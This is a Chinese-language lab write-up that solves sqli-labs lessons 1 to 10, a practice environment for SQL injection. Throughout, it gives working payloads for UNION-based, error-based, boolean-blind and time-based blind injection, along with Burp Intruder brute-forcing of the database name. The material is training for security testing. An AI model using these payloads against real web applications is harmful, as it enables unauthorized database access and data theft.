SQL-labs(Less1-10)
sqli-labs(Less1-10)
Less-1
1 | GET /pages/sqli-labs-master/Less-1/?id=' |
- 解题思路
1)先添加参数
id='
页面报错
判断存在sql注入,并且输入id=1
后有回显,判断是联合注入(优势:速度快,语句简单)2)判断id是字符型还是数字型
添加参数
id=2-1
回显的是id=2
的内容,所以判断是字符型注入猜测后端sql语句为
SELECT * FROM TABLE WHERE id = '$_GET['id']'
3)判断查询列数
构造payload(闭合前面的语句,注释后面的语句)
1'+order+by+1+--+
页面报错
说明查询出来了3列
4)判断显示的是第几列
构造payload
1'+union+select+1,2,3+--+
,发现并没有显示1,2,3,说明他默认显示第一行数据将第一个参数改为-1使前面的查询为空,
显示了2和3位置的信息
5)查询库名和用户
构造payload
-1'+union+select+1,user(),database()+--+
查出用户名和库名
less-2
输入
id='
报错,存在sql注入输入
id=2-1
,页面内容和id=1
内容相同,所以判断是数字型注入输入
1+order+by+1+--+
判断查询出3列输入
-1+union+select+1,2,3+--+
显示了2和3列
-1+union+select+1,user(),database()+--+
查出库名
less-3
输入
id='
报错,存在sql注入,并且报错信息显示在)
附近判断闭合方式为('id')
依次使用order by和select判断显示位置和列
-1')+union+select+1,user(),database()+--+
查出库名
less-4
单引号不报错双引号报错,并且报错信息显示有
)
判断闭合方式为("id")
依次使用order by和select判断显示位置和列
-1")+union+select+1,user(),database()+--+
查出库名
less-5
单引号报错双引号无回显,报错信息里面没有括号说明是一个单引号闭合
id=1
发现输入正确显示的字符串是一样的,因此可以使用时间盲注或者布尔盲注1)判断数据库名长度
1’+and+if(length(database())<10,sleep(2),1)+–+ delay:2022ms
1’+and+if(length(database())<5,sleep(2),1)+–+ delay:9ms
1’+and+if(length(database())=6,sleep(2),1)+–+ delay:8ms
1’+and+if(length(database())=7,sleep(2),1)+–+ delay:8ms
1’+and+if(length(database())=8,sleep(2),1)+–+ delay:2009ms
2)判断数据库每一位字母
使用burp的intruder模块
添加两个pyload位置,第一个位置为数据库的第几个字母(1-8),第二个位置是从大写A的ASCII到小写z的ASCII,爆破方法选择集束炸弹(clusterBomb)
![]()
根据pyload1对pyload2排序得到115.101.99.117.114.105.116.121(security)
less-6
双引号报错单引号无回显,报错信息里面没有括号说明是一个双引号闭合
id=1
发现输入正确显示的字符串是一样的,因此可以使用时间盲注或者布尔盲注与less-5思路相同,仅闭合方式为双引号
less-7
输入单引号双引号均报错但不显示报错信息,输入正确id输出也都是一样的
输入
1'
报错但是输入1"
不报错,所以可以判断有单引号输入
1')+--+
报错,增加括号1'))+--+
发现正常显示所以闭合方式为(('id'))
接下来使用盲注即可的出数据库名
less-8
发现输入正确的id会显示一个固定内容,输入错的什么也不显示
输入
1'+--+
有回显,则闭合方式为一个单引号所以此时可以用布尔盲注
1'+and+length(database())<10+--+
有回显
1'+and+length(database())<5+--+
无回显
1'+and+length(database())=6+--+
无回显
1'+and+length(database())=7+--+
无回显
1'+and+length(database())=8+--+
有回显
1'+and+ascii(substr(database(),§1§,1))=§97§+--+
爆破出库名
less-9
发现无论输入什么都是显示一个结果,所以这里只能使用时间盲注了
先判断闭合方式
1'+and+sleep(5)+--+
页面延迟超过两秒所以判断闭合方式为单引号接下来过程与less-6时间盲注相同
less-10
发现无论输入什么都是显示一个结果,所以这里只能使用时间盲注了
先判断闭合方式1"+and+sleep(5)+--+
页面延迟超过两秒所以判断闭合方式为双引号
接下来过程与less-6时间盲注相同